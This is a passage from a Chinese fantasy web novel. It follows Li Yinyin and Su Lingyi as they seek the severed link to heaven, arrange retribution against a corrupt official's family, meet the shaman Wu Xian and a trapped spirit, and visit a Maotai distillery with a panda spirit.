就像1963年,世界各大强国凑在一起,搞了个《禁止在大气层、外层空间和水下进行核武器试验条约》,中国死活不签。 等计算机模拟核实验的能力上去的2000年,中国才签了《全面禁止核试验条约》,但没有批准通过。 精神体的口子留了,整体下来的口子也得留一点。 没人会把路走绝,兴许哪天就有用得着那些高纬度生物的时候呢。 想完建木的原理,李寅寅又在想天庭与人间断了联系,到底是什么原因。 苏灵衣为她找了许多那个时候的人类记载,包括正经史书和民间野史,人类能看见的东西有限,但是什么半夜闪光、天上掉龙、某处大水、某处大旱……也许都与天庭的异变有关。 李寅寅看着资料,苏灵衣看着她。 所谓灯下看美人,比白日更胜十倍。 白天飒爽利落的李寅寅,此时在柔和的暖黄色侧光下,竟生出了一丝温婉。 挺直的鼻梁、微微上挑的眉毛,专注的眼神……还有看资料时,会被资料里的内容牵动情绪的嘴角,时而微微上扬,时而不屑地扯扯,十分生动。 以武力闻名的白虎星君,一点凶样都没有,更像是为了天下苍生而殚精竭虑的慈爱神明,有一种莫名熟悉的感觉。 苏灵衣都被自己的这个想法吓了一跳,他伸手搓了搓脸,想让自己清醒一点。 脸能被搓,脑子里的想法却一点都控制不住,他又开始乱想:李寅寅是神仙,还是专管杀杀杀的神仙,她是不会对自己有什么额外感情的。 她对属下也很好,甚至对属下的时候,还更灵动一些,有额外的情绪,对自己就没那么随便……可是,她亲过我,虽然是为了迷惑那个日本人,但是,她应该不会随便亲属下的吧,有没有可能,其实我是有那么一点点特别? 李寅寅看到他搓脸,便问道:“困啦?去睡吧。” 苏灵衣赶紧解释:“不是,灯烤得脸上有点干。” “你真是娇气……以前在青藏高原上,你也这么讲究?” 苏灵衣讪讪:“以前有皮毛挡着,当人了不是没遮挡么。” “喏,涂点。”李寅寅从外套口袋里摸出一瓶润肤乳,放在苏灵衣的面前,“酒店里顺来的,别嫌弃。” 苏灵衣低头打开瓶盖,闻起来香气还挺淡雅,不知道是哪家酒店里的。 他胡乱抹了几把,止住心中绮思,决定再找些资料,也许会有用。 忽然,李寅寅伸手在他的太阳穴边上轻轻抹了一下,把苏灵衣吓了一跳,转头看着她,李寅寅不仅没有把手缩回去,还继续旁边摸:“这边……都没抹开。” 苏灵衣没再动,就这么怔怔地看着她。 李寅寅的手指一点都不细软,可以说相当有劲,揉按着苏灵衣的脸,就像做竹升面的师傅对待面团的态度。 可是苏灵衣被她这无情无义的暴力铁手按得心脏狂跳,脸颊也开始发烫。 李寅寅眉毛微动:“这台灯有这么烤吗?” 然后,她的嘴角也在向上扬。 完蛋了,她看出来了。苏灵衣的心跳越发激烈,他感觉到自己的衣服似乎都跟着心脏一起在抖。 李寅寅给他抹完脸,看看还没有打开的大堆文件名,决定先逃避一下,她开口道:“其实,我还很好奇一件事,我感觉到,以你的能力,其实已经可以进入太乙散仙的境界,是什么原因让你的法力又倒退了呢?” “没什么,就是多管闲事。”苏灵衣笑笑,并没有继续往下说的意思。 李寅寅没想放过他,问道:“什么闲事能把自己法力散尽?” “救了个快死的人。” “然后呢?” “我法力耗尽,昏过去,醒来后发现她留下一大块金元宝,走了。” “名字呢?没说你将来可以去什么地方找她?” 苏灵衣摇摇头:“女孩子的名字哪能随便说,那个时候兵荒马乱的,很多地方都杀得人头滚滚,十室九空,又哪有什么稳定的地址。” “嗯……倒也是,你这也太拼了,救人把自己的修为都搭了进去……后悔吗?” 苏灵衣摸摸下巴,认真思考了一下:“不后悔,要是看着她死了,我可能会每天半夜起来给自己一耳光‘我真不是人啊’,反正,我也没死,还能慢慢练,她死了,进入轮回,这一世所有的事情都会忘记,说不定,她有父母、丈夫、孩子,还有几只小宠物,在等着她回家。如果她不回去,这些生灵都会很难过。” 李寅寅笑道:“肯定的,说不定她对后世还有巨大的贡献,要是没有你,现在的世界不知道会变成什么样。” “嗯!”苏灵衣眉眼弯弯。 他以前把这个故事告诉过一些人,得到的全是嘲讽,说他蠢、说他是疯了,教他想攒功德也不是这么攒的。 所以李寅寅问起的时候,他很犹豫,不想说。 如今能得到她的赞同,苏灵衣从心里泛起的甜蜜直达眼底,他都觉得自己的眼神太直白,赶紧低了头:“好了,还有这么多没看,抓紧时间。” 一向都是李寅寅催别人干活不要走神,这次居然被苏灵衣催了,她皱皱鼻子:“噫……怎么跟催孩子写作业的家长一样,以后要是你有了孩子,管作业的事肯定交给你了。” “没问题!”苏灵衣一口答应。 天亮了,觜火猴亲自给众人做早饭,有荤有素,有水果有牛奶。 转头一看,牛奶不见了。 再一看,胖熊猫抱着两升装的大桶牛奶,正企图往脸盆里倒。 “有杯子。”觜火猴一把夺过牛奶。 胖熊猫哼哼唧唧:“喝得不痛快。” “你才能喝多少,还要痛快。”觜火猴鄙视地看着他,给他用海碗倒了小半碗,还端出来一大盆竹笋和水果。 胖熊猫跳上凳子,啊呜啊呜地往嘴里塞。 这几天是李寅寅给游敬济的冷静期,让游敬济自己好好想想。如果他的家人儿女都在国内,他说不定真的会舍弃自己,给后代搏一个前程。 但是他明显不需要这么拼,他在意的人都在中国法律管辖范围之外,至于什么下属、下属的兄弟,哪有他的性命重要。 第三天的早上,新闻报道,有一个男人在家上吊自杀了,他就是“一时气不过”的下属。 他那个兄弟早已刑满释放出来,现在活得很是逍遥自在。 第五天,这个逍遥自在的人忽然去公安局自首一桩旧案,说自己当初开车撞死人不是意外,是被人指使的谋杀行为。 他说的指使者已经上吊自杀,没有任何证据能够证明这事跟游敬济相关。 直接加害者已经被拘,在胖熊猫朴素的想法里,这口气就已经出了。 李寅寅没有他这么大度:“有人拿刀杀人,刀是无辜的,人是该死的。现在自首的只是人形刀,拿刀的人还没服法,怎么就算结束了呢?” 胖熊猫抱着球,茫然地看着李寅寅。 虽然它不明白刀和人的比喻是什么,也不懂教唆犯是什么意思,不过,反正直接害死陈佳源的人已经被抓,其他的人算陪葬还是算别的什么,它都无所谓。 游敬济被调查,不过他年事已高,且真的因为癌症正在治疗,所以,并没有被关起来,甚至他还有路子把胖熊猫接到病房里,为他治病。 胖熊猫现在心情很好,给他治病的时候,坚持维持人设:“很好很好,黑气都消了,人啊,会得病都是因为孽障,不然你说怎么有的人大吃大喝,烟酒都来,能活到七八十,有人三十多岁就开始养生,结果五十九岁就死了呢……富贵命数都是天定的,命中有时当须有,命中无时莫强求……” “是啊。”游敬济对自己的命数那是相当的自信,认定自己是老天眷顾的天选之子。 不然怎么会搞假种那一天,天降大旱? 不然怎么会在自己儿孙都已经成功到了国外,自己刚过七十五岁的这一年,旧事才被掀出来? 命! 一切都是命! 虽然他不是彻底干净,但他也无所谓,反正以他的身份,他死了身上也不会盖任何旗子。 他讲究实际讲了一辈子,死后哀荣什么的,有也行,没有也可。 游敬济现在已经惦记着等着彻底把病治好,就飞到澳大利亚跟儿子一家住着。 某地,天主教堂。 连续三天,神父都看见一个陌生的女人走进教堂,每次都坐在第一排,虔诚地喃喃自语。 根据神父的认知,一般来说,以前从来不进教堂的人突然进教堂了。 必然是遇到了难处。 所谓未到苦处,不信神佛。 有的人,平时什么都不信,有事临头了,什么都信。 刚开始神父还想跟她聊聊:“教会里都是兄弟姐妹,你有什么困难,或者可以告诉我。” 教会确实在很多时候可以起到与同乡会相似的功能,有些买不着的东西、搞不定的关系,找教会就能解决。 有很多留学生在国内不信,出国就信,也是因为传教的人会在这些留学生最艰难的时候帮助他们适应陌生的环境。 面对神父的善意,李寅寅微笑婉拒:“我自己跟他谈就好,当面说得清楚一点。” 神父:“???” 大概她不是有事求神保佑,只是想自己待着,寻找内心的宁静。 ……也可能是产生了幻听,觉得自己也是天选之人。 不管是哪一种,既然人家说了可以自己谈,再多说也不礼貌,神父离开,留李寅寅一个人留在礼拜堂里。 他以为只有一个人。 其实,高踞在祭坛上还有一个精神体,他全身发着光,生着六翼,看不清容貌,那是战斗天使米迦勒,打死过恶龙。 最重要的业绩是把路西法踢下地狱,第二重要的业绩是告诉约翰,他老婆玛丽亚是童贞受孕,那个孩子不是她跟野男人生的。 在历史上,他曾多次以人形显圣,展示神迹,面对东方神祇的李寅寅,他就懒得掩饰了,直接以原形跟她见面。 此时,李寅寅有求于他: “你管战斗,我也管战斗,大家都是一家人,何必分得那么清楚……帮个小忙,又不难。” 米迦勒沉默地看着她。 李寅寅继续说:“那些人跑过去,既不帮你们传教,也不帮你们说好话,指望他们,还不如指望我。我可以帮你们送鸡蛋。” 米迦勒:“……” “再说了,咱们的信仰才是一致的,都是为了解决全人类而奋斗。你看教皇都收下了锤子镰刀做成的十字架了!解放神学也是本着上帝的旨意嘛!” 米迦勒实在被她缠得没有办法,义正辞严地说:“我不可能帮你做那些事。” “我也没想你帮我啊,你只要不帮他们就行了。”李寅寅嘻皮笑脸。 李寅寅查到游敬济在前几世的时候,确实做过不少好事,所以,这辈子就算干了那么多坏事,却依旧能逢凶化吉。 虽然轮回报应什么的,从宇宙大观方面来看,是没有什么问题的,但是李寅寅知道,对于生命有限,且活一世只有一世记忆的人类来说,“下辈子我一定XXX”就是纯属放屁,迟来的正义不是正义,上辈子干的好事,不能抵消下辈子干的坏事。 游敬济的儿子和儿媳一到澳大利亚,就加入了教会,弥撒偶尔去,捐钱挺积极。 不过他们不是因为虔诚才捐钱,是因为当地的教友们都是有头有脸的人物,跟教友们打好关系,有利于万一他们哪天需要有人庇佑的时候,有人愿意帮忙。 李寅寅动之以情,晓之以理,主要是死缠烂打叨逼叨,最终,由于游氏那家人对主实在没有敬畏,真就把捐的那些钱,当成是一种保险,就等着出险的时候有人捞他们一把。 有时候提到信徒们的时候,语气不善,偶尔还会嘲笑他们太蠢。 本来这不是什么大罪,但是,有李寅寅添油加醋,拱火架梁,一路把价值上升到“你要是不同意,就是纵容他们这种亵渎神的行为。” “这么大的罪你都不给点惩罚,会让天下所有信众怀疑,一直仰赖的主是不是一位英明的主。” “他们除了混天主教,还混法那个什么功呢!忠诚不绝对,就是绝对不忠诚!这事你们都能忍得了?要我我肯定要给他们一点颜色看看。” “我可记得上帝他老人家说了,申冤在我,我必报应。你是上帝的使徒,你不帮忙谁帮忙,只要拿出零点一分当初收拾索多玛城的魄力!不要理会他们给的那三瓜俩枣的好处!其他的事情我来做!骂名我来担!” “咱们东西文化交流这么频繁,你不给我面子,以后你们的人来我这边办事,你说我是应该帮帮忙,还是不应该?你们的信徒可有不少在我的地盘上爬雪山玩的,每次天气不好,有雪崩的时候,我可都给了足够的提示。” …… 从胖熊猫吓唬游敬济那天开始算,前两天,李寅寅从早坐到晚,一刻不停的叨逼叨,米迦勒不为所动。 又过了三天,米迦勒也受不了了,他终于答应无视游氏一家给教会捐的钱,只当没他们这家人。 第六天,胖熊猫开始给游敬济治病。 第九天,游敬济的事情被调查。 一个月后,游敬济的病治好了,与他相关的处罚通告也正式公布:开除党籍,没收非法所得,退休待遇按照二级科员执行。 没了。 甚至连非法所得都没有多少,全都已经转移到海外了。 对他出境也没有任何限制。 游敬济美滋滋地拿着自己的香港永久居民证件,买好机票,快乐的飞向澳大利亚。 “他已经落地了。”觜火猴向李寅寅汇报。 “嗯,做事做得漂亮一点。” “是。” 胖熊猫不知道李寅寅和觜火猴在打什么哑谜,他只知道李寅寅很希望把游敬济也弄死。 但是,游敬济没有被弄死。 愿望没有实现,总会不开心的。 胖熊猫觉得自己有责任和义务让李寅寅开心,毕竟是他把李寅寅卷进这件事的。 自己得到了满足,帮捐款给自己的人报仇。 所以……他热情地表示马上带李寅寅去雅安。 他从雅安到成都,是走过来的,从成都到雅安,就只见一句“把眼睛闭好”,“可以睁开了”。 他就到了! 那是他熟悉的雅安熊猫保护区! 他带着李寅寅去自己被仙气吹屁屁的地方,遗憾的是,那不是仙气,只是一个不明显的地下洞穴里的空气流动。 虽然位置不对,但是,李寅寅在保护区内,明显感觉到了强大灵力的残留,又是一个熟悉的气息,那是当太阳初升之时灵力最强大的星官所留。 只是保护区不能让普通人类随便乱跑,巡林员查得还挺严,而且还有不少游客。 胖熊猫拍着胸脯保证,他会尽量把大部分人类的注意力都吸引到自己身上。 次日,清晨,李寅寅和苏灵衣进行碧峰峡,循着那一声响亮的鸡鸣,李寅寅找到了白虎七宿的最后一个失散的星官——昴日鸡。 “拜见星君!!!”昴日鸡是七宿之中,最宽和大度,端庄优雅的一个。 骤然见到很久没有消息的主君,昴日鸡都忍不住喜形于色。 “自从天庭与人间断开,属下就知道必有事故发生,寻找了许多年,终于找到了这里,那里……”他指着山峦之中一处被白云遮挡的地方:“就是建木把人送上天庭的所在,只是,颛顼帝砍断之后,通道中断,连属下也不能上。” “不要紧,我带来了九头罗刹王的神格,烧一烧,凑合用。”李寅寅笑道,“你真是立下了大功。” 忽然,在虚空中传来一个不服气的声音:“我呢?” 是觜火猴。 李寅寅与米迦勒谈妥之后,觜火猴为保事情万全,亲自去了一趟澳大利亚。 手心手背都是肉,七宿之间时常竞争,做为星君,李寅寅早已炼成了一代端水大师。 她故意问:“哦?你已经办成了?” 觜火猴以完全与他年龄不符的骄傲语调说:“那是自然!新闻里都已经有了!” 李寅寅打开手机,觜火猴给她发了全英文的新闻链接。 新闻的大意是:某澳籍华裔家庭,在出游时,全家意外身亡,只留下了一个没有上船的老头。 警方在调查中发现,这户姓游的人,利用他在澳大利亚高层里的关系,窃取大量五眼联盟的情报,并卖给中国、俄罗斯。 五眼联盟是美、英、加、澳、新五个国家,他们之间情报共享,互相交流信息,包括安插在其他国家的情报人员的姓名和身份。 游姓男子及他的妻子,卖了不止一次情报。 甚至这次游船的目的地就是北极圈……那是什么地方,是死敌俄罗斯! 如今死者已矣,再多的东西也不好查。 但是,这户人家还有一个老头子! 这个老头子对移民局官员解释他想得罪了国内高层,想申请避难。 入籍的事情已经在走流程了。 现在,还是别走了……滚蛋吧 全世界哪个国家都容不下奸细。 等李寅寅看完新闻,已经是雅安碧峰峡基地的开门时间,今天是周六,天气很好,来了很多游客。 正常情况下,游客们进门,就会继续往里走,然而,大门口就出现了奇景: 一只熊猫摇摇晃晃的过来,悄悄咪咪地抢了巡林员的自行车,骑了一圈,巡林员紧赶慢赶追上它,没收了自行车。 熊猫勃然大怒,它抢了保护区里狗保镖的球,玩起了抛接。 狗愤怒地冲它汪汪叫。 它又抢了两根竹竿玩踩高跷,被保育员阻止后,它像猴子一样爬上树,并且跳到另一棵树上去,甚至还展示了它不知道从哪里抢来的香蕉。 一个小朋友兴奋地问:“它是不是以为自己是猴子呀?” 他的妈妈说:“它是在欢迎我们,在给我们表演节目,你看,连熊猫都表演节目,上次唐爷爷和李伯伯到我们家来,妈妈让你给他们背一首诗,你怎么就不高兴啦?还扔东西,你都不如熊猫可爱!” 本来挺高兴的小朋友顿时把脸垮下来了:“现在不是说拒绝动物表演吗?熊猫宝宝一定是被迫的!是不是饲养员叔叔打它了?” 在一边跟着看热闹的饲养员冷不丁得被扣了一口黑锅在身上,他大呼冤枉:“真不是我们强迫它表演,是它自己非要表演。” 小朋友愤愤看着他:“叔叔,你天天那么早来上班,也是自己非要来的吗!” 第87章 巫咸 碧峰峡中大多数地方是开放的,没有开放的地方都写着禁止游客进入。 在一处极其狭窄的山洞里,苏灵衣闻到了一股地缚灵的死气,他不由得皱起眉:“这人是被人推下去的?失脚掉下去的?” 李寅寅向洞口扫了一眼:“不是,是自己钻进去的。不管是推下去,还是掉下去,人都会下意识挣扎,这么窄的洞口,稍微挣扎一下,都不至于滑那么深。” “自己钻进去?为什么?”苏灵衣在高原上捉鼠兔的时候都不会钻到鼠兔的的洞里,他只会在鼠兔的洞口耐心等待。 这个洞与正常成年人的体型相比较,就跟苏灵衣硬要钻到鼠兔窝里一样。 如果洞里有金银珠宝,古董宝藏,那他还能理解。 可是这一带就是普通的自然区,没有旧宫殿,也没有大墓,摸金校尉土夫子都不会来的。 李寅寅耸耸肩:“为了探险、好奇、有趣,也许是跟人打赌……” 苏灵衣不理解:“人不是最怕死的吗?” “怕死的人不会好奇,好奇的人不怕死。从人类进化的进程来看,好奇不怕死的人才是大多数。 如果人类主流的思想都是老实听话,那么在南方古猿时代就停止进化了,世间没有水泥森林,只多了一群在林间抓着藤蔓晃荡的古猿,撞飞正在吃香蕉的猴子,抢走香蕉,在树顶上捶打胸膛发出怪叫,从此不再被996的福报眷顾……” “他怎么进去的?”苏灵衣想不明白。 “用力把肺里的气体都吐出来,把胸腔和腹腔尽量缩小,然后,进入更深的地方,他是头朝下爬进去的,洞内是向下的陡坡,下去容易上来难。他可能以为憋着一口气,前面就会豁然开朗,没想到前面是更窄的通道,上又上不来,就卡死在里面了。” “可是……卡死在里面,他有什么好怨念的,很少见到灵力这么强的地缚灵了。” “也许……”李寅寅和苏灵衣同时想到,这个洞口就是建木的灵气之源。 苏灵衣大胆猜测:“也许建木是类似于电池一般的存在,这里的灵气就像水,电解水,把水化成了氢和氧。建木把灵气分解成能把人送上仙境的,以及让神仙下凡的两个不同部分。” 说了这么多,也不过是猜测,还是得把地缚灵拉出来问问,他有什么想不开的。 普通的地缚灵只会在原地重复死亡瞬间的事件。 高级一点的地缚灵会在原地转悠,等着勾引倒霉蛋自投罗网,给他做替身。 这些李寅寅都见过,还帮着地府的人送走过几只特别凶的。 就是没见过像这只地缚灵这么……二逼的。 他自己竟然自己给自己建了一个结界,结界百分之百复刻了洞里的情况。 地缚灵使用纯手工、重机械、调配火药剂量等等超绝想法,进行多种尝试。 包括但不仅限于:全须全尾的救出来、打断胳膊剁条腿的救出来、脸上皮肤被石头磨得面目全非的救出来、出来半截人、出来半截尸、出来一坨尸骨、出来泥巴与尸体的混合物…… 目前他的实验最好成绩是上半身的器官保持新鲜状态被取出来,然后抓紧移植给需要的人,也算是一种生命的延续。 物理学存在一天,最理想的完整救出来都是不可能的。 他不甘心! 他相信物理学偶尔也会有让步的时候。 李寅寅无奈地看着地缚灵一次又一次的尝试,一次又一次的失败,屡败屡战,屡战屡败:“……所以,他留在这里,不是因为觉得自己死得委屈,也不是因为含怨带恨,单纯是……” “是为了做实验……”苏灵衣接话,“我觉得,心月狐会喜欢这样的人才。” 李寅寅十分遗憾地叹了口气:“可惜心月狐是搞生物的,这人是纯物理,还是专攻力学,不然两人说不定能合作搞一篇论文出来。” “监兵星君的想像力真是令人叹为观止。”山峰中传来了另一个声音。 云雾慢慢汇成人形,人旁边还带了只狗,浮在天空中与李寅寅对视。 那人耳戴两条蛇,身材魁梧,五官清晰可在眉间生有一道横目,头上戴着羽冠。 那只狗是中华田园犬,不名贵,长得也很没有震慑力,它为了证明自己很强很凶,努力挺着胸,把脑袋昂得高高。 有一种很熟悉的感觉。 只是一时想不起来了。 李寅寅试探着问了一声:“巫咸……是你吗?” “你还记得我啊……”,巫咸的声音带着几分欣慰和几分无奈,“我以为您已经抛弃我们了。” “我?抛弃?”李寅寅不明所以,不管是十巫,还是六巫,她们与天上的星君之间从无从属关系。 李寅寅的脑子里是主君抛弃了属下。 苏灵衣的脑子里又演起了狗血虐文故事,比如:“你是不是对他始乱终弃了?” “啪”,李寅寅伸手对着他的脑袋打了一下:“叫你少看那些无聊的故事。还有,巫咸是女的!整个十巫里,只有巫履一个是男的!你这只笨蛋狐狸。” 苏灵衣抱着脑袋,揉着被敲出来的包,甩出两条海带泪:“可是她长得……” “巫咸是一个魁梧的女子!”李寅寅鄙视地看了他一眼,“你能长得唇红齿白,肤若凝脂,就不许女子是拳头上立得人,胳膊上走得马,人面上行得人?” 在李寅寅与苏灵衣两人耍花枪的时候,巫咸冷不丁开口:“百年不见,如今您回来,是已经掌握破局的关键了吗?” 李寅寅:“???……嗯……虽然我不知道你在说什么,但是可以确定,你一定不是在说我。” 在李寅寅的记忆里,巫咸跟她在神话时代就只见过一次,那时候,她还是一个小姑娘,穿着花花绿绿的小裙子,戴着满头叮叮当当的珠翠首饰,七八岁的小姑娘,板着一张脸硬装大人模样,庄严肃穆的完成祭祀活动。 那个时候的人笃信天命在女子身上,而不谙世事,纯洁无睱的小女孩更是能直接与天地对话。 巫咸,用现代的话说,就是纤细敏感,很容易感知到环境中的气息,太多太杂的信息,让她产生了认知错乱,不知道什么是人,什么是妖魔鬼怪,分不清语言系统,每天都有几十种语言在她耳边吵闹。 一直到六岁,她都像个小傻子,不爱哭、不爱笑,也不会说话。 忽然在一个风雨如晦的中午,电闪雷鸣如在空中交织的巨网,她被雷劈了……别人都以为她死定了。 没想到,褪去那一身被烧焦的壳,她不仅活过来了,而且就像被天神点破了蒙住灵台的那一层窗户纸,无论是见识、智慧、心性,不仅比同龄人,就比部族里的成年人要强。 从此,巫咸跟随部落里的巫学习,如何与天地沟通,如何从日月星辰的运行轨迹判断未来。 再后来,她成为了灵山十巫之一。 灵山十巫是怎么变成开明六巫的,李寅寅并不太清楚。 当时的人王宣称开明六巫是从灵山十巫里挑选出来的精英,将会将不死药的秘密交给她们掌握。 这就是李寅寅对巫咸的全部印象。 其中还有一部分来自于巫履和巫阳的讲述,还有来自窫窳临死前的胡言乱语。 李寅寅想了想,决定直接问:“我们上次见面是什么时候?怎么就百年未见了?” 巫咸见她一脸茫然,轻声叹了一口气:“我早说过,换形药未炼得大成,贸然使用会有风险,不曾想,您果然……” “换形是什么意思?”苏灵衣抓到关键词,马上追问。 巫咸沉默地看着她:“您愿意让我说出真相吗?” “说吧,卖什么关子,什么真相会跟这里填着一个人相关。”李寅寅已经感觉到那个人并不是单纯的探洞,也不是单纯的寻死,而是有更深的含义。 巫咸沉默地看着她许久:“我不能提那个人的名字,被他的灵识捕捉到,我们之前所做的就会前功尽弃。” 李寅寅最烦这种“不知当说不当说”,让她直说,又这个那个的一堆理由,她恼怒道:“那你还问什么问,我让你说了,你又不说!” 巫咸闭了闭眼睛:“我已与天帝签定契约,如果出尔反尔,只怕又要再生事端。如果你想知道,就去泰山吧……泰山之下的古神,不受人王契约的约束,他会告诉你真相的。” 高空中的风一阵一阵的吹拂,云层慢慢散开,很快便五官模糊,不再似人形。 李寅寅大叫:“等等,别走,这个地缚灵……” “他不是普通的灵,您连这都感觉不出来了吗?”巫咸的眼神悲伤,简直就像一个能徒手解微积分的人,看着鸡兔同笼硬是做不出来。 “他是……” 没等巫咸说出口,高空突然吹来一阵强风,将云团吹了个干净。 真正是一碧如洗,蓝得刺眼,蓝得发邪。 李寅寅站在地缚灵身旁,仔细看着他的细微动作,就连搬块石头,都要仔仔细细把石头的位置画上线,又一次失败之后,他似乎在登记石头的形状、重量和角度,总结分析原因。 他的形象与记忆中的人交叠,李寅寅脱口而出:“巫真?” 巫咸国的二把手,巫咸负责制定方针,巫真负责具体执行。 记得她并不是开明六巫中的一员。 李寅寅以为她只是死了,或者因为没有得到提拔,而心灰意冷,转投别处。 这在上古时候并不罕见。 没想到,她变成了性别模糊,意识全无的地缚灵。 只是日复一日的做着同样的事情。 难怪地府的人敢对颛顼帝故乡的地缚灵都不管不问,原来,是有理由的。 听巫咸的意思,巫真是被专门放在这里的。 上古人王为了祈雨,连自己都敢烧。 巫师杀人,巫师杀自己,那更是稀松平常。 只是,这一切的真相,在这里都得不到答案,要去一趟泰山了。 此时,一只熊猫已经在大门口累个半死,直到看见李寅寅和苏灵衣出来,它才停下一人成团,引爆全场的疯狂炫技。 它“扑通”趴在地上,呼哧呼哧喘着气,眼巴巴地看着饲养员,发出不满的叫声。 愣着干嘛,给爷端吃的啊! 难不成主动加班,还没有加班费啦! 把活干得漂亮,就不给奖金啦! 那还有天理吗! 那还有法律吗! 快!苹果,竹子,竹鼠,统统给爷端上来! 饲养员也知道在这么高强度的运动下,肯定是饿了。 忙一手夹着一大盆吃的,放在胖熊猫面前。 冷眼旁观许久的小朋友愤愤:“我就说嘛!熊猫宝宝是被迫表演的!不表演就不给它吃饭。” 第88章 茅台镇 “不用不用。” “一定要收!” “真的不用!” “又不是送给你的,这瓶是我送给泰山府君的,这瓶是我托你送酒的跑腿费!” 胖熊猫与李寅寅正在上演“我不要,你硬塞”的大戏。 从巫咸那里得知天庭与人间断联的事可能与泰山那里有关,李寅寅当即就想把自己传送到泰山,却被胖熊猫拦住了。 本来,以他的本事,李寅寅想走,十个他也拦不住。 但是,他无耻地叫来了兄弟。 两只大熊猫,一左一右抱住李寅寅的腿,还有几只小的大熊猫迫于胖熊猫淫威,而跪趴在李寅寅面前,一副可怜巴巴的样子。 保护区里的大熊猫都是半散养的。 虽说大熊猫在远古时代确实是肉食动物,攻击性也挺强,但是,如今这国泰民安的,它们根本就不缺吃的。 主动攻击人类,那更是不可能。 就算有人类送到它们面前,它们也只会懒洋洋地看一眼,也许会扒拉两下,更多的时候是你看你的,我玩我的。 就连饲养员要跟他们建立关系,都不是一朝一夕的事。 如今这么多熊猫同时扑向一个人,好像她是熊猫之王。 饲养员们千辛万苦地把熊猫拖的拖,抱的抱,全部弄走,结果,下一批又来了。 围观群众一点都不同情被熊猫绊住脚的李寅寅。 老太太:“哟~这姑娘真俊呐,连熊猫都喜欢她。” 老头子:“嘬嘬嘬……哎,怎么我拿竹子给它吃,熊猫都不理我。” 老太太:“你也不瞅瞅你的脸,能跟人家小姑娘比嘛?哎,年轻就是好看呀。” 被父母带来的小朋友:“妈妈,熊猫怎么不来抱我?” 妈妈:“因为你不好好吃饭,你看这个姐姐长这么高,就是她的妈妈给她做什么,她就吃什么。” 什么都信的路人甲:“啊,她一定是熊猫女神,女神女神,保佑我的基金全部翻红回本。” …… “好啦好啦,别耍赖了,我去,我去还不行嘛。”李寅寅只能认输,被好多只熊猫突然眷顾,李寅寅的脸上了各大社交媒体的头条。 要是这个时候,她突然出现在泰山,还被人认出来了,这就很不合理。 她只能稍微多留一天,让移动速度显得正常一点。 胖熊猫带着李寅寅到了茅台镇。 整个镇子都飘着一股发酵的黄豆味,跟普通的酒糟味完全不同。 “我的一个兄弟,现在在茅台酒厂上班,当调酒师。”胖熊猫说的时候,骄傲之情,溢于言表。 “你的……兄弟……调酒?”李寅寅脑中浮现出一只大熊猫,手里拿着银色的调酒杯,疯狂晃动。 有内线帮忙安排,李寅寅和苏灵衣得以进入茅台酒厂,并被直接带去了胖熊猫兄弟的工作地点。 原来大熊猫的兄弟不是熊猫,而是一只猴。 他的工作也不是酒吧里的调酒,而是把不同年份的茅台酒勾兑到一起。 猴子对熊猫感激涕零:“还得是熊猫哥!如果不是他帮我,我都不知道该怎么办。” 这只猴子是峨眉山的老猴王,说是老,其实只是“上一代”的意思,自从觜火猴一统峨眉,原本分裂在全山各地的猴,都统归觜火猴管辖,各位旧诸侯们,只能退位。 虽然觜火猴不欺负逊位的猴王,可是其他猴欺负啊。 以前猴王们在任上多嚣张,卸任后就被欺负的有多惨。 这位猴王以前是十里八乡有名的俊猴王,不仅自己族群的母猴喜欢它,隔壁几个族群的母猴也喜欢它。 别的猴王只是被自己族群里的公猴欺负,它是被自己加周边五六个族群欺负,日子实在没法过了! 猴王决定离开峨眉山,去青城山碰碰运气。 结果,到了青城山,它希望能像在峨眉山那样,随机抽取一位幸运的猴王,跟它打一架,然后,顺利夺位,继续当猴王。 可是,它到处找猴王,没猴搭理它。 问,就是猴王都在忙着酿酒,跟人类建立睦邻友好的合作共赢。 青城山的猴子干得非常成功,它们用猕猴桃酿出了“青城乳酒”,与青城山老腊肉一起,并列为青城山名产。 酿酒酿的好的,才能当猴王。 打架好有个屁用。 要是把酿酒大师给打坏了,不用猴群吱哇乱叫,人类就会出手收拾它。 老猴王很绝望,它一时冲动,找到觜火猴的办公室,打算静静地、悄悄地吊死在他办公室的门口。 被觜火猴救下后,它吱哇乱叫:“你他妈弄死我得了!别把我不死不活的搁在这活受罪。” 觜火猴那会儿忙着官场斗争,没心思跟他斗嘴,随手给它施了幻术,让它会被所有的生灵都视为同类: “你说是我的原因让你没法继续混猴群了,我给你一个机会,天下这么多种族你都能加入,去吧!你看你能混进哪里,就去哪里。” 在动物的眼中,人类是万物之灵。 如同高中生眼里的大学生。 普通社畜眼里的公务员。 底层公务员眼里的处长及以上…… 属于“到了这个等级,就可以随便玩了。” 于是,它高高兴兴地选择加入人类社会。 再然后,才发现,做一个没钱、没权、没学历、没背景、没资历的人,还不如在峨眉山当猴。 当初它当猴王,也不考笔试啊,觉得自己的体力和武力值达标了,就去挑战老猴王,打赢了就上位,也不用政审。 输了也没什么,反正总归不能把它给饿死。 怎么当人这么麻烦…… 绝望的旧猴王决定去自杀。 他挑了一个风景很好的地方——卧龙自然保护区。 它,跳了! 它,砸在了来卧龙玩耍的胖熊猫身上,胖熊猫见一个“同类”敢砸自己,它愤怒了。 在胖熊猫想一屁股坐死它的时候,路过的巡林员看见一个“人类”居然被熊猫按在地上打,赶紧赶开了胖熊猫,把它救出来。 胖熊猫不相信自己这么圆滚滚,胖乎乎,人见人爱的碧峰峡第一帅,居然会输给一只干瘪瘦小的同类,醋意大发,遂伺机进攻。 却发现“同类”居然在看报纸上的招聘广告,以为他也是熊猫精。 一来二去,得知了猴子的真实身份和故事,胖熊猫有点同情它,便用自己的关系,帮猴子通过了茅台酒厂的招工考试,顺利进去当一个平凡的工人。 猴王在青城山待的几天,虽然没学会酿酒,但是挖掘了自己的一项潜在技能:超凡味觉。 闻一闻,嗅一嗅,就能准确说出这酒的制作流程,包括投曲时间对不对、发酵时间够不够,窖藏时间有多久并且能精确到天数。 至于清香型、尖香型、酱香型……那更是信手拈来,毫不费劲。 于是它一个在纸面上只有小学文化,实际上一天书都没读过的猴子,从普通工人,顺利转岗,成为全厂最年轻的国家级调酒师。 “原浆?怎么可能直接卖原浆,难喝的要命。”猴王骄傲地展示它的业务能力,倒了七杯酒给李寅寅:“不信你尝尝,这是在酿酒过程中取的七次酒,味道区别很大的。” 李寅寅不爱喝酒,就算蟠桃宴上的酒,她都不怎么碰,只在大家一起举杯的时候,意思意思碰碰嘴唇。 喝酒误事,酒里被人下药,都不会像水里被下药那样反应及时,她习惯时刻保持清醒。 